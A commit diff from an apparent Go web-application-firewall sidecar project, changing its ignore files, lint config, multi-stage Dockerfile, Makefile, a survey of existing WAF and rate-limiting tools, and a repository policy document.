Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e001f1c830 |
No files matched your search
+6
-20
@@ -13,21 +13,9 @@
|
||||
# `/myapp`, never `**/myapp`, which also matches `cmd/myapp/` and
|
||||
# deletes the package directory from the context.
|
||||
|
||||
# .git is sent without its config. Without a VERSION build argument the
|
||||
# stage that compiles runs `git describe --tags --always` on .git, which
|
||||
# does not need .git/config; that file can hold a credential, such as a
|
||||
# password in a remote URL or the token the CI checkout step stores there.
|
||||
# Each submodule keeps a config with the same exposure in its git directory
|
||||
# under .git/modules/, nested again for a submodule's own submodules, or in
|
||||
# its own .git directory when it keeps one.
|
||||
# KNOWN GAP: a submodule whose name has a `config` segment (`config`,
|
||||
# `deploy/config`, `config/lib`) loses its whole git directory, because
|
||||
# `**/.git/modules/**/config` also matches that segment's directory
|
||||
# under .git/modules/. Go's version stamping then fails the build;
|
||||
# nothing leaks. Name such a submodule without that segment:
|
||||
# `git submodule add --name`.
|
||||
**/.git/config
|
||||
**/.git/modules/**/config
|
||||
# Excluding .git means `git describe` cannot run in any build stage and
|
||||
# fails quietly there; pass the version in with --build-arg VERSION.
|
||||
.git
|
||||
|
||||
# Agent scratch: one full checkout of the repo per in-flight agent.
|
||||
# Anchored because it occurs once where agents run at the repo root.
|
||||
@@ -51,13 +39,14 @@
|
||||
**/[iI][dD]_[rR][sS][aA]
|
||||
**/[iI][dD]_[dD][sS][aA]
|
||||
**/[iI][dD]_[eE][cC][dD][sS][aA]
|
||||
**/[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
|
||||
**/[iI][dD]_[eE][dD]25519
|
||||
**/[iI][dD]_[eE][dD]25519_[sS][kK]
|
||||
|
||||
# Dependencies: restored inside the image, never copied in.
|
||||
**/node_modules
|
||||
|
||||
# The binary `make build` writes on the host; the image builds its own.
|
||||
/bin
|
||||
|
||||
# OS metadata.
|
||||
**/.DS_Store
|
||||
**/Thumbs.db
|
||||
@@ -70,6 +59,3 @@
|
||||
**/.idea
|
||||
**/.vscode
|
||||
**/*.sublime-*
|
||||
|
||||
# The binary `make build` writes on the host; the image builds its own.
|
||||
/bin
|
||||
+5
-25
@@ -20,31 +20,11 @@ Thumbs.db
|
||||
# Node
|
||||
node_modules/
|
||||
|
||||
# Secrets. Unanchored like every entry above, so each matches at every
|
||||
# depth. Matching is case-sensitive on Linux, so names use character
|
||||
# ranges rather than a lowercase form that misses `Server.Key`.
|
||||
|
||||
# Environment files. `*.env` covers bare `.env` and the `prod.env`
|
||||
# convention. Only the templates `example.env` and `sample.env` are
|
||||
# re-included below. A repository that commits any other template adds
|
||||
# its own negation after these lines, for example `!.env.example`.
|
||||
*.[eE][nN][vV]
|
||||
.[eE][nN][vV].*
|
||||
.[eE][nN][vV][rR][cC]
|
||||
!example.env
|
||||
!sample.env
|
||||
|
||||
# Private keys and the bundles carrying them.
|
||||
*.[pP][eE][mM]
|
||||
*.[kK][eE][yY]
|
||||
*.[pP]12
|
||||
*.[pP][fF][xX]
|
||||
[iI][dD]_[rR][sS][aA]
|
||||
[iI][dD]_[dD][sS][aA]
|
||||
[iI][dD]_[eE][cC][dD][sS][aA]
|
||||
[iI][dD]_[eE][cC][dD][sS][aA]_[sS][kK]
|
||||
[iI][dD]_[eE][dD]25519
|
||||
[iI][dD]_[eE][dD]25519_[sS][kK]
|
||||
# Environment / secrets
|
||||
.env
|
||||
.env.*
|
||||
*.pem
|
||||
*.key
|
||||
|
||||
# Go: the binary `make build` writes, test binaries, profiles and logs
|
||||
/bin/
|
||||
|
||||
@@ -17,7 +17,6 @@ linters:
|
||||
disable:
|
||||
# Genuinely incompatible with project patterns
|
||||
- exhaustruct # Requires all struct fields
|
||||
- exhaustruct_v5 # Requires all struct fields (successor to exhaustruct)
|
||||
- godot # Requires comments to end with periods
|
||||
- wrapcheck # Too verbose for internal packages
|
||||
- varnamelen # Short names like db, id are idiomatic Go
|
||||
@@ -61,10 +60,6 @@ linters:
|
||||
desc: >-
|
||||
Test-support code belongs in test files and in packages whose
|
||||
directory name ends in test, not in the shipped binary.
|
||||
- pkg: sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest
|
||||
desc: >-
|
||||
Test-support code belongs in test files and in packages whose
|
||||
directory name ends in test, not in the shipped binary.
|
||||
# Only decisions already recorded in the Go package defaults are
|
||||
# listed here. Every entry matches the module path exactly.
|
||||
gomodguard_v2:
|
||||
|
||||
+41
-85
@@ -2,8 +2,8 @@
|
||||
# lint` or `script/lint`, which are themselves a docker build and would
|
||||
# recurse into a daemon that does not exist in a build step.
|
||||
#
|
||||
# golangci/golangci-lint v2.14.0 (built with go1.27.0), 2026-09-24
|
||||
FROM golangci/golangci-lint@sha256:ad862ba6b3798cbe0fd9fd7408d498fd74fbd2623a92406b2fd3898faf0bf98f AS lint
|
||||
# golangci/golangci-lint v2.12.2 (built with go1.26.2), 2026-05-06
|
||||
FROM golangci/golangci-lint@sha256:5cceeef04e53efe1470638d4b4b4f5ceefd574955ab3941b2d9a68a8c9ad5240 AS lint
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
@@ -29,39 +29,14 @@ RUN go mod download
|
||||
|
||||
COPY . .
|
||||
|
||||
# go.mod and go.sum must be as `go mod tidy` writes them, which is what
|
||||
# `make tidy` does. Checked before the tests, which a missing go.sum line
|
||||
# fails with a message that does not name `make tidy`.
|
||||
RUN go mod tidy -diff || \
|
||||
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
|
||||
|
||||
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it
|
||||
# after this step, and writing it into the image takes seconds. The tests
|
||||
# are built with the no_fs_access tag, as the binary is in the build stage.
|
||||
# after this step, and writing it into the image takes seconds.
|
||||
RUN --mount=type=tmpfs,target=/root/.cache/go-build \
|
||||
go test -tags no_fs_access -timeout 90s -race -cover ./... || \
|
||||
go test -count=1 -timeout 90s -race -cover ./... || \
|
||||
{ echo "--- Rerunning with -v for details ---"; \
|
||||
go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
|
||||
go test -count=1 -timeout 90s -race -v ./...; exit 1; }
|
||||
|
||||
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
|
||||
# writes pass the test phase's check. Nothing else depends on it, so only
|
||||
# script/tidy, which names the stage after it, builds it.
|
||||
#
|
||||
# golang 1.27.1-trixie, 2026-09-19
|
||||
FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS tidy
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
COPY . .
|
||||
|
||||
RUN go mod tidy
|
||||
|
||||
# go.mod and go.sum alone, which script/tidy writes into the working tree.
|
||||
FROM scratch AS tidy-files
|
||||
|
||||
COPY --from=tidy /src/go.mod /src/go.sum /
|
||||
|
||||
# Build stage. Nothing is wanted from the lint and test phases; the copies
|
||||
# Build stage. Nothing is wanted from the two phases above; the copies
|
||||
# are what make BuildKit build them first, so the image, which needs this
|
||||
# stage, cannot be produced unless lint and test passed.
|
||||
#
|
||||
@@ -71,10 +46,6 @@ FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275
|
||||
COPY --from=lint /src/go.sum /dev/null
|
||||
COPY --from=test /src/go.sum /dev/null
|
||||
|
||||
# This image has git. A tar-stream context keeps the sender's file
|
||||
# owners, which git refuses.
|
||||
RUN git config --system --add safe.directory /src
|
||||
|
||||
WORKDIR /src
|
||||
|
||||
COPY go.mod go.sum ./
|
||||
@@ -82,24 +53,12 @@ RUN go mod download
|
||||
|
||||
COPY . .
|
||||
|
||||
# The VERSION build arg when one is given, otherwise
|
||||
# `git describe --tags --always` on the .git in the build context. With
|
||||
# .git present, a version that is still empty, dev or unknown fails the
|
||||
# build: git is missing or could not read the checkout. The no_fs_access
|
||||
# tag keeps Coraza from writing the files of a multipart body to the
|
||||
# system's temporary directory, since sww writes only to its state
|
||||
# directory.
|
||||
ARG VERSION
|
||||
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
|
||||
if [ -e .git ]; then \
|
||||
case "$VERSION" in ""|dev|unknown) \
|
||||
echo "version is '$VERSION' although .git is present" >&2; \
|
||||
exit 1 ;; \
|
||||
esac; \
|
||||
fi; \
|
||||
CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /usr/local/bin/sww ./cmd/sww
|
||||
# The version is computed on the host and passed in, because
|
||||
# .dockerignore excludes .git.
|
||||
ARG VERSION=dev
|
||||
RUN CGO_ENABLED=0 go build -trimpath \
|
||||
-ldflags="-s -w -X main.Version=${VERSION}" \
|
||||
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
|
||||
|
||||
# runsvinit, the image's entrypoint, built at the last commit of its
|
||||
# archived repository. It has no go.mod, and `go build` of its directory
|
||||
@@ -117,9 +76,8 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
|
||||
&& CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \
|
||||
-o /usr/local/bin/runsvinit .
|
||||
|
||||
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless
|
||||
# SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
|
||||
# It is the last stage, so a plain `docker build .` builds it.
|
||||
# The image an app's Dockerfile builds FROM, described under "Deployment"
|
||||
# in SPEC.md. It is the last stage, so a plain `docker build .` builds it.
|
||||
#
|
||||
# ubuntu 26.04, 2026-09-27
|
||||
FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7
|
||||
@@ -133,22 +91,29 @@ RUN mkdir /etc/sysusers.d \
|
||||
&& echo 'u _runit-log - "runit svlogd user" /nonexistent /sbin/nologin' \
|
||||
> /etc/sysusers.d/runit.conf
|
||||
|
||||
# ca-certificates, nix-bin and runit, from Ubuntu's archive. apt fetches
|
||||
# them over plain HTTP and checks each one against the archive's signed
|
||||
# package lists, so no CA certificates are needed.
|
||||
#
|
||||
# nix-bin depends on xz-utils, whose install links man pages with
|
||||
# update-alternatives. The image's dpkg config drops man pages, so each
|
||||
# link warns. z-man, read after /etc/dpkg/dpkg.cfg.d/excludes, re-includes
|
||||
# the man1 pages for this install alone; the same step deletes them again,
|
||||
# so no man page or package is added.
|
||||
RUN echo 'path-include=/usr/share/man/man1/*' > /etc/dpkg/dpkg.cfg.d/z-man \
|
||||
&& apt-get update \
|
||||
# ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at
|
||||
# the snapshot moment, which is never earlier than the Ubuntu image above.
|
||||
# apt checks every package against the snapshot's InRelease files, and
|
||||
# this step checks those against the hashes named here, which are those
|
||||
# of the amd64 archive: other architectures use Ubuntu's ports archive.
|
||||
# apt also fetches the live archive's InRelease files, which change daily
|
||||
# and which the install does not use. The snapshot service is HTTPS only
|
||||
# and this image has no CA certificates yet, so this step uses the Go
|
||||
# image's.
|
||||
RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \
|
||||
apt-get update --snapshot 20261001T000000Z \
|
||||
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
|
||||
&& printf '%s\n' \
|
||||
'45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \
|
||||
'802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \
|
||||
'64b3353f0bd4970b4f7271962245bcea9ff24d4cc7bea16b433f8a60e42ca3dd snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-backports_InRelease' \
|
||||
'1d5041572116a8b23aabf79ac7439ad8af83d57ad3fb0f9aa0d4523ec10c5908 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-security_InRelease' \
|
||||
| (cd /var/lib/apt/lists && sha256sum --check --strict) \
|
||||
&& DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \
|
||||
--snapshot 20261001T000000Z \
|
||||
-o Acquire::https::CaInfo=/tmp/go-image-ca.crt \
|
||||
ca-certificates nix-bin runit \
|
||||
&& rm -rf /var/lib/apt/lists/* /etc/dpkg/dpkg.cfg.d/z-man \
|
||||
&& find /usr/share/man/man1 ! -type d -delete \
|
||||
&& find /etc/alternatives -type l -xtype l -delete
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Nix run by root expects a group of build users, which nix-bin does not
|
||||
# create; with the setting empty, root's builds run without them.
|
||||
@@ -175,27 +140,18 @@ RUN curl -fsSL -o /tmp/nixexprs.tar.xz \
|
||||
ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin
|
||||
|
||||
COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit
|
||||
COPY --from=builder /usr/local/bin/sww /usr/local/bin/sww
|
||||
COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf
|
||||
|
||||
# 65532 is above the uids Ubuntu keeps for system users, which end at
|
||||
# 999; useradd warns about it unless --key raises that end for this call.
|
||||
RUN groupadd --system --gid 65532 sww \
|
||||
RUN groupadd --system --gid 65532 smallwebwaf \
|
||||
&& useradd --system --key SYS_UID_MAX=65532 --uid 65532 \
|
||||
--gid sww --no-create-home --shell /usr/sbin/nologin \
|
||||
sww
|
||||
|
||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||
# is mounted to keep them across deploys. The run script gives it to the
|
||||
# sww user at each start of discriminator.
|
||||
RUN mkdir /var/lib/sww
|
||||
|
||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||
# built FROM this image can copy rule files of its own beside it.
|
||||
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
|
||||
--gid smallwebwaf --no-create-home --shell /usr/sbin/nologin \
|
||||
smallwebwaf
|
||||
|
||||
# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv
|
||||
# looks too.
|
||||
COPY --chmod=755 share/sww.run /etc/service/sww/run
|
||||
COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
@@ -203,6 +159,6 @@ EXPOSE 8080
|
||||
# check runs every second from the start until it first passes, for up
|
||||
# to a minute, and every 30 seconds after that.
|
||||
HEALTHCHECK --start-period=1m --start-interval=1s \
|
||||
CMD ["/usr/local/bin/sww", "healthcheck"]
|
||||
CMD ["/usr/local/bin/smallwebwaf", "healthcheck"]
|
||||
|
||||
ENTRYPOINT ["/usr/local/bin/runsvinit"]
|
||||
+46
-58
@@ -12,8 +12,8 @@ configured only by environment variables, that provides:
|
||||
- R1: rate limits per minute, per hour and per day
|
||||
- R2: netblocks that bypass rate limiting
|
||||
- R3: alerts on attacks through webhook, Slack or ntfy
|
||||
- R4: alerts on anomalies: requests made or bytes transferred per minute or
|
||||
hour, for given IPs or netblocks, crossing a threshold
|
||||
- R4: alerts on anomalies: requests or bytes per minute or hour, for given IPs
|
||||
or netblocks, crossing a threshold
|
||||
- R5: temporary blocks for abusers, permanent bans for repeat offenders
|
||||
- R6: one or more RBLs or IP reputation APIs
|
||||
- R7: AS number lookup
|
||||
@@ -24,19 +24,14 @@ configured only by environment variables, that provides:
|
||||
|
||||
## Verdict
|
||||
|
||||
Nothing existing is suitable. No surveyed tool meets R8, which asks for limits
|
||||
scaled by AS number or country. None meets R4's alerts on bytes transferred. The
|
||||
tools that come closest on the rest fail R10: they need several containers, YAML
|
||||
or a web UI. The recommendation is to build a small single-binary sidecar;
|
||||
`SPEC.md` in this directory begins that spec.
|
||||
|
||||
The sidecar reuses the mature parts of the surveyed field instead of
|
||||
reimplementing them. It takes these as libraries and data sources:
|
||||
|
||||
- Coraza and the OWASP Core Rule Set, for attack detection
|
||||
- DNSBLs
|
||||
- AbuseIPDB
|
||||
- optionally, a CrowdSec decision feed
|
||||
Nothing existing is suitable. No surveyed tool meets R8 (scaling limits by AS
|
||||
number or country) or the bytes half of R4 at all, and the tools that come
|
||||
closest on the rest fail R10: they need several containers, YAML or a web UI.
|
||||
The recommendation is to build a small single-binary sidecar; `SPEC.md` in this
|
||||
directory begins that spec. It reuses the mature parts of the surveyed field as
|
||||
libraries and data sources (Coraza and the OWASP Core Rule Set for attack
|
||||
detection, DNSBLs, AbuseIPDB, optionally a CrowdSec decision feed) instead of
|
||||
reimplementing them.
|
||||
|
||||
Closest existing options, and why each still falls short:
|
||||
|
||||
@@ -50,16 +45,13 @@ Closest existing options, and why each still falls short:
|
||||
external blacklist URLs, optional CrowdSec), R7 partly (AS number used for
|
||||
blacklist and whitelist decisions), R9 (ModSecurity with the Core Rule
|
||||
Set, or Coraza plugin), env-var settings.
|
||||
- Fails:
|
||||
- R8: AS number and country can only allow or deny, never scale a limit.
|
||||
- R4: no alerts on request-count or byte thresholds in the free edition;
|
||||
reporting is a paid feature.
|
||||
- R5: no escalation for repeat offenders.
|
||||
- R10: since 1.6 it is not one plain sidecar. It needs a `bunkerweb`
|
||||
container, a `bw-scheduler` container and a database, or the
|
||||
all-in-one image that bundles nginx, the scheduler, the UI and Redis.
|
||||
- It is designed as the proxy in front of many sites, not as a sidecar for
|
||||
one app. AGPL-3.0.
|
||||
- Fails: R8 (AS number and country can only allow or deny, never scale a
|
||||
limit), R4 (no volume or byte threshold alerts in the free edition;
|
||||
reporting is a paid feature), R5 escalation, and R10 in spirit: since 1.6
|
||||
it needs a `bunkerweb` container plus a `bw-scheduler` container and a
|
||||
database, or the all-in-one image that bundles nginx, scheduler, UI and
|
||||
Redis in one container. It is designed to be the front door for many
|
||||
sites, not a per-app sidecar. AGPL-3.0.
|
||||
- Unverified: whether several rates (minute, hour, day) can be stacked on
|
||||
the same URL pattern; the documented design is one rate per URL pattern.
|
||||
- CrowdSec is the strongest detection and ban engine, but it is not a proxy.
|
||||
@@ -74,20 +66,16 @@ Closest existing options, and why each still falls short:
|
||||
listed AS numbers is possible, but each is a hand-written YAML scenario,
|
||||
it reacts after the fact by banning, and it is not an inline limiter that
|
||||
answers 429.
|
||||
- Fails:
|
||||
- R10, because it needs:
|
||||
- the security engine container with persistent state
|
||||
- log acquisition from traefik
|
||||
- a bouncer such as the traefik plugin
|
||||
- YAML for acquisition, profiles, scenarios and notifications
|
||||
- R4's alerts on bytes.
|
||||
- Fails: R10 (needs the security engine container with persistent state, log
|
||||
acquisition from traefik, a bouncer such as the traefik plugin, and YAML
|
||||
for acquisition, profiles, scenarios and notifications), bytes half of R4.
|
||||
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination
|
||||
with no new code. It gives inline limiting (one window per middleware, keyed
|
||||
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
|
||||
reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
|
||||
the configuration lives in traefik labels and CrowdSec YAML on each host, not
|
||||
in one sidecar's environment. It meets R1's three windows only by chaining
|
||||
three middlewares per router.
|
||||
reputation. It still fails R8, the bytes half of R4, R1's three stacked
|
||||
windows only by chaining three middlewares per router, and R10 entirely: the
|
||||
configuration lives in traefik labels and CrowdSec YAML on each host, not in
|
||||
one sidecar's environment.
|
||||
|
||||
## Candidate by candidate
|
||||
|
||||
@@ -99,10 +87,10 @@ Closest existing options, and why each still falls short:
|
||||
cached, streamed decision list (recommended), standalone against the
|
||||
central API, or AppSec only. Supports captcha remediation.
|
||||
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
|
||||
- Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
|
||||
- Misses: the plugin itself does no rate limiting; R8; R4 bytes.
|
||||
- Configuration: traefik static config to load the plugin, dynamic config or
|
||||
labels for the middleware, CrowdSec YAML for everything else.
|
||||
- Sidecar fit: no. It runs inside traefik and needs a separate engine
|
||||
- Sidecar fit: no. It lives inside traefik, plus a separate engine
|
||||
container.
|
||||
- Maturity: widely used (about 900 stars, listed in the traefik plugin
|
||||
catalog, documented by CrowdSec itself), actively maintained. Traefik
|
||||
@@ -127,7 +115,7 @@ Closest existing options, and why each still falls short:
|
||||
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary
|
||||
semantic detection engine and a web console. About 22,000 stars.
|
||||
- Covers: R9 well, basic per-IP rate limiting with block duration, bot
|
||||
challenge, authentication in front of the app.
|
||||
challenge, authentication gate.
|
||||
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
|
||||
messages, syslog forwarding and the better reputation database are paid
|
||||
(Lite about 10 USD per month, Pro about 100 USD per month); the free
|
||||
@@ -140,7 +128,7 @@ Closest existing options, and why each still falls short:
|
||||
- Coraza (`corazawaf/coraza`) and Coraza-based proxies
|
||||
- What it is: a Go library that implements the ModSecurity rule language and
|
||||
runs the OWASP Core Rule Set. OWASP project, actively maintained, the
|
||||
successor to ModSecurity, which is now in maintenance only.
|
||||
successor path now that ModSecurity is in maintenance only.
|
||||
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
|
||||
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
|
||||
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
|
||||
@@ -154,7 +142,7 @@ Closest existing options, and why each still falls short:
|
||||
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
|
||||
- What it is: official images of Apache or nginx with ModSecurity and the
|
||||
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
|
||||
paranoia level, anomaly thresholds, many more). Current images contain
|
||||
paranoia level, anomaly thresholds, many more). Current images carry
|
||||
ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
|
||||
- Covers: R9, and R10 (single container, env vars, one backend).
|
||||
- Misses: R1 to R8.
|
||||
@@ -164,16 +152,16 @@ Closest existing options, and why each still falls short:
|
||||
- Anubis (`TecharoHQ/anubis`), 1.27 current
|
||||
- What it is: a single-binary reverse proxy that makes browsers solve a
|
||||
proof-of-work challenge before passing them to `TARGET`. Aimed at
|
||||
scrapers, which are likely a large share of the unwanted traffic on a
|
||||
public code forge.
|
||||
scrapers, which is likely a large share of unwanted traffic on a public
|
||||
gitea.
|
||||
- Covers: R10 well (one container, env vars for listener, target,
|
||||
difficulty, cookies). Policy rules can match on path, user agent, headers,
|
||||
IP ranges, and with the vendor's hosted data service also AS number and
|
||||
country, and can weigh a request toward a harder challenge.
|
||||
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
|
||||
vars. AS number and country matching depend on the vendor's hosted
|
||||
service. Breaks non-browser clients unless paths are exempted; for a code
|
||||
forge, git-over-HTTP and API paths must be allowed through by rule.
|
||||
service. Breaks non-browser clients unless paths are exempted; for gitea,
|
||||
git-over-HTTP and API paths must be allowed through by rule.
|
||||
- Maturity: very active, widely deployed on code forges since 2025.
|
||||
- Value here: complementary. It can be chained (traefik, then the sidecar,
|
||||
then Anubis, then the app) if challenge pages are wanted.
|
||||
@@ -192,13 +180,13 @@ Closest existing options, and why each still falls short:
|
||||
temporary ban, no escalation, state lost on traefik restart) and R2
|
||||
(allowlist). Nothing else.
|
||||
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
|
||||
plugins (country allow or deny through an external lookup API): each adds
|
||||
one small feature, is configured in traefik and keeps its state in memory.
|
||||
plugins (country allow or deny through an external lookup API): same
|
||||
shape, each one small feature, configured in traefik, state in memory.
|
||||
- Sidecar fit: no; they live inside traefik.
|
||||
- Traefik built-in middlewares
|
||||
- `rateLimit` (one average-and-burst window per middleware, optional Redis
|
||||
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
|
||||
lookups or AS number lookups.
|
||||
or AS number awareness.
|
||||
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
|
||||
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP
|
||||
and per-path rate limiting with one configurable window, IP and DNS
|
||||
@@ -210,12 +198,12 @@ Closest existing options, and why each still falls short:
|
||||
- open-appsec (Check Point)
|
||||
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
|
||||
a declarative policy file or the vendor's cloud console. Covers R9 only;
|
||||
rate limiting and richer features are in paid tiers. It attaches to an
|
||||
existing proxy, so it is not the sidecar R10 asks for.
|
||||
rate limiting and richer features are in paid tiers. Not a sidecar in the
|
||||
required sense.
|
||||
- iocaine
|
||||
- Serves generated garbage pages to clients the fronting proxy classifies as
|
||||
scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
|
||||
passing interest for scraper traffic.
|
||||
scrapers. Not a limiter, WAF or ban tool; out of scope except as a
|
||||
curiosity for scraper traffic.
|
||||
- Pangolin
|
||||
- A tunnelled access platform that bundles traefik and optionally CrowdSec.
|
||||
Replaces the ingress rather than adding a sidecar; out of scope.
|
||||
@@ -226,17 +214,17 @@ Closest existing options, and why each still falls short:
|
||||
Everyone else offers one window per rule or none.
|
||||
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
|
||||
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
|
||||
- R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
|
||||
on request counts with a custom scenario; no surveyed tool alerts on bytes.
|
||||
- R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
|
||||
fixed length or permanent, and does not change with a client's history.
|
||||
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count
|
||||
anomalies with a custom scenario; nothing handles bytes.
|
||||
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent,
|
||||
not both by history.
|
||||
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
|
||||
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
|
||||
deny), Anubis (hosted service).
|
||||
- R8 biased thresholds: none.
|
||||
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
|
||||
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
|
||||
or ModSecurity).
|
||||
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the
|
||||
first).
|
||||
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
|
||||
None of these covers anything beyond its one job.
|
||||
|
||||
|
||||
@@ -1,12 +1,10 @@
|
||||
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
|
||||
hooks build run example-app
|
||||
.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run \
|
||||
example-app
|
||||
|
||||
# Makefile targets are thin shims; the implementations live in script/
|
||||
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
||||
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
|
||||
# which test checks. build and run are for working on the code by hand;
|
||||
# example-app checks the image with an app built on it; publish builds
|
||||
# the image on the Docker host and pushes it to the registry.
|
||||
# of README.md). build and run are for working on the code by hand;
|
||||
# example-app checks the image with an app built on it.
|
||||
|
||||
bootstrap:
|
||||
@script/bootstrap
|
||||
@@ -26,18 +24,12 @@ fmt:
|
||||
fmt-check:
|
||||
@script/fmt-check
|
||||
|
||||
tidy:
|
||||
@script/tidy
|
||||
|
||||
check:
|
||||
@script/check
|
||||
|
||||
docker:
|
||||
@script/docker
|
||||
|
||||
publish:
|
||||
@script/publish
|
||||
|
||||
hooks:
|
||||
@script/install-precommit
|
||||
|
||||
|
||||
+44
-120
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Repository Policies
|
||||
last_modified: 2026-10-04
|
||||
last_modified: 2026-09-08
|
||||
---
|
||||
|
||||
This document covers repository structure, tooling, and workflow standards. Code
|
||||
@@ -104,14 +104,10 @@ style conventions are in separate documents:
|
||||
`lint` phase and a `test` phase, with the final stage depending on both so the
|
||||
image cannot be built unless they pass. For non-server repos the final stage
|
||||
brings up a development environment; for server repos it is the runtime image.
|
||||
The gate phases and the build stage start from their pinned base images and
|
||||
install what those images lack either inline, as the canonical Go `Dockerfile`
|
||||
below does for `git`, or by running `script/bootstrap`, as the `prompts`
|
||||
repo's own `Dockerfile` does for its yarn packages. The development
|
||||
environment stage installs development prerequisites by running
|
||||
`script/bootstrap` rather than duplicating its installs inline. A stage that
|
||||
runs `script/bootstrap` COPYs `script/` and the dependency manifests
|
||||
(`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before running it.
|
||||
Dockerfiles install development prerequisites by running `script/bootstrap`
|
||||
rather than duplicating installs inline; COPY `script/` and the dependency
|
||||
manifests (`package.json` + `yarn.lock`, `go.mod` + `go.sum`, etc.) before
|
||||
running it.
|
||||
|
||||
- **Linting and testing run in Docker, as phases of the `Dockerfile`.** There is
|
||||
no separate lint file. `script/lint` and `script/test` each build one phase
|
||||
@@ -160,14 +156,11 @@ style conventions are in separate documents:
|
||||
not evidence that anything ran: a sub-second build reporting success is a
|
||||
cache hit, not a result. Never invalidate by pruning — `docker builder prune`
|
||||
and friends destroy a build cache shared with every other build on the host.
|
||||
When a check is added or changed, prove it works by planting a defect it must
|
||||
catch and watching the run fail on it, then revert the defect. A green run
|
||||
alone shows neither that the check ran nor that it covers what it should.
|
||||
|
||||
- **The gate phases are separate stages, and the build stage depends on both.**
|
||||
The lint phase is based on the `golangci/golangci-lint` image (pinned by
|
||||
hash), so lint failures surface in seconds rather than after a full compile,
|
||||
and the test phase is based on the Debian Go image. The canonical Go repo
|
||||
and the test phase is based on the Go image. The canonical Go repo
|
||||
`Dockerfile`:
|
||||
|
||||
```dockerfile
|
||||
